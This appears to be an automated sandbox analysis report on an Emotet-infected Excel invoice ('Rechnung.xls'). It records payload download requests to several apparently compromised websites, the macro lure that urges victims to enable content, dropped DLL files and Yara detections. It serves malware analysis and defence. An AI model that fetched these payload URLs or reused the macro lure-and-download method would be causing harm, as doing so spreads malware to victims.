File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lJWa95VlQ[1]

Jump to behavior

Source: unknown

DNS traffic detected: queries for: vipteck.com

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006B24 InternetReadFile,

4_2_0000000180006B24

Source: global traffic	HTTP traffic detected: GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vipteck.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/iMc/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: airliftlimo.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vipteck.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tgroup.ge/x4bc2kL4BzGAeUsVi/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: salledemode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kabeonet.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.kabeonet.plConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.97.10:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.203.19.2:443 -> 192.168.2.22:49174 version: TLS 1.2

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 8.2.regsvr32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.3d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.1fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.1fe0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.2e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.2f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1240649290.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.943959485.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.953530856.00000000003D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1240847022.0000000001FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.935688692.0000000000150000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1241152796.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.953780664.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.943507589.00000000002F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1240660919.00000000002E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1241141714.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 4	Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

Found malicious Excel 4.0 Macro

Source: Rechnung.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Source: Rechnung.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: Rechnung.xls	Initial sample: EXEC
Source: Rechnung.xls	Initial sample: EXEC

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\ITAzDMJQNXvQb\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D212B0	3_2_000007FEF9D212B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25E01	3_2_000007FEF9D25E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25CAD	3_2_000007FEF9D25CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D26850	3_2_000007FEF9D26850
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2443C	3_2_000007FEF9D2443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D253FB	3_2_000007FEF9D253FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D24A70	3_2_000007FEF9D24A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00140000	3_2_00140000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180005C74	3_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002ACE8	3_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020118	3_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000359C	3_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E99C	3_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019628	3_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025A4C	3_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180009408	3_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023C14	3_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006414	3_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002582C	3_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B834	3_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000403C	3_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021444	3_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012044	3_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016054	3_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001705C	3_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001870	3_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F878	3_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014484	3_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015494	3_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BC98	3_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008C9C	3_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800078A4	3_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F0A8	3_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E4AC	3_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800048B0	3_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001ACB4	3_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800090B4	3_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800270C0	3_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800024C0	3_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800280C8	3_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800050D4	3_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800234D8	3_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800150F0	3_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012500	3_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024104	3_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A10C	3_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028D10	3_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A524	3_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002D28	3_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E130	3_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029134	3_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008134	3_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022140	3_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006954	3_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F554	3_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B564	3_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012168	3_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013568	3_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024570	3_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019178	3_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025180	3_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001980	3_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021588	3_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A988	3_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018190	3_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013994	3_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028998	3_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800061A0	3_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135A6	3_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016DA8	3_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800059AC	3_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135B4	3_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001C1B8	3_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800025B8	3_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800085BC	3_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800015C0	3_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800295C8	3_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800229CC	3_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E5D4	3_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A5D8	3_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800261E0	3_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800079EC	3_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023624	3_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018628	3_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017E2C	3_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017638	3_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004E3C	3_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020E40	3_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015A64	3_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015264	3_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A26C	3_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007678	3_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001667C	3_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012680	3_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001E88	3_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000968C	3_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022290	3_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026A90	3_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000529C	3_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020AA0	3_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022AAC	3_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007EB4	3_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800162BC	3_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800252C0	3_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001AEC8	3_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F6DC	3_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800026DC	3_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002ADC	3_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E2F4	3_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016AF4	3_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DEF4	3_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001DEFC	3_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006308	3_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001370C	3_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004B18	3_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015F24	3_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006B24	3_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F328	3_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021738	3_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002AF38	3_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028348	3_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DB4C	3_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014F50	3_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B350	3_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A758	3_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002975C	3_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024370	3_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008370	3_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015774	3_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012378	3_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026B98	3_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CF9C	3_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001EBA0	3_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B3A4	3_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D7AC	3_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800053B0	3_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015BB8	3_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800207BC	3_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FFC0	3_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800173DC	3_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018BDC	3_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002D0000	4_2_002D0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000C819	4_2_000000018000C819
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019628	4_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025A4C	4_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001705C	4_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012864	4_2_0000000180012864
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180005C74	4_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800090B4	4_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800252C0	4_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800024C0	4_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024104	4_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006B24	4_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006F2C	4_2_0000000180006F2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A758	4_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024570	4_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E99C	4_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001B3A4	4_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800079EC	4_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180009408	4_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023C14	4_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006414	4_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023624	4_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018628	4_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002582C	4_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017E2C	4_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B834	4_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017638	4_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000403C	4_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004E3C	4_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020E40	4_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021444	4_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012044	4_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016054	4_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015A64	4_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015264	4_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A26C	4_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001870	4_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F878	4_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007678	4_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001667C	4_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012680	4_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014484	4_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001E88	4_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000968C	4_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022290	4_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026A90	4_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015494	4_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BC98	4_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000529C	4_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008C9C	4_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020AA0	4_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800078A4	4_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F0A8	4_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022AAC	4_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E4AC	4_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800048B0	4_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001ACB4	4_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007EB4	4_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800162BC	4_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800270C0	4_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800280C8	4_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001AEC8	4_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800050D4	4_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800234D8	4_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F6DC	4_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800026DC	4_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002ADC	4_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002ACE8	4_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800150F0	4_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E2F4	4_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016AF4	4_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000DEF4	4_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001DEFC	4_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012500	4_2_0000000180012500
